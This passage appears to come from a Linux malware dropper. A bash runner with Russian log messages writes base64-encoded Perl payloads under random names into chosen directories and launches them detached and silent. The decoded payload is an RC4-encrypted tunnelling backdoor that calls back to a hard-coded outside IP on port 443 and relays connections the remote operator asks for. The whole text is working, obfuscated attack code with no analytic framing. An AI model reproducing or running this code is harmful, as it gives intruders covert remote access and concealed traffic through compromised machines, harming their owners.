dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #21 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #21 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 22 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv 